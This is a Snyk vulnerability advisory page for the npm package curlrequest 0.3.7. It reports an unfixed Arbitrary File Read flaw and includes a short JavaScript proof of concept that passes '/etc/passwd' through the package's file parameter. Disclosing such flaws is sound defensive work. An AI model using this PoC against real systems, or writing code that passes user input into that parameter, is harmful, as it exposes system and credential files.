curlrequest@0.3.7

A curl wrapper for node

  • latest version

    1.0.1

  • first published

    14 years ago

  • latest version published

    9 years ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the curlrequest package. This does not include vulnerabilities belonging to this package’s dependencies.

    Fix vulnerabilities automatically

    Snyk's AI Trust Platform automatically finds the best upgrade path and integrates with your development workflows. Secure your code at zero cost.

    Fix for free
    VulnerabilityVulnerable Version
    • M
    Arbitrary File Read

    curlrequest is a curlrequest is a node wrapper for the command line curl(1).

    Affected versions of this package are vulnerable to Arbitrary File Read. It is possible to read any file by populating the file parameter with user input.

    PoC

    var curl = require("curlrequest");
    
    let userPayload = "/etc/passwd";
    curl.request({ file: userPayload }, function (err, stdout, meta) {
        console.log("%s %s", meta.cmd, meta.args.join(" "));
    });
    

    How to fix Arbitrary File Read?

    There is no fixed version for curlrequest.

    *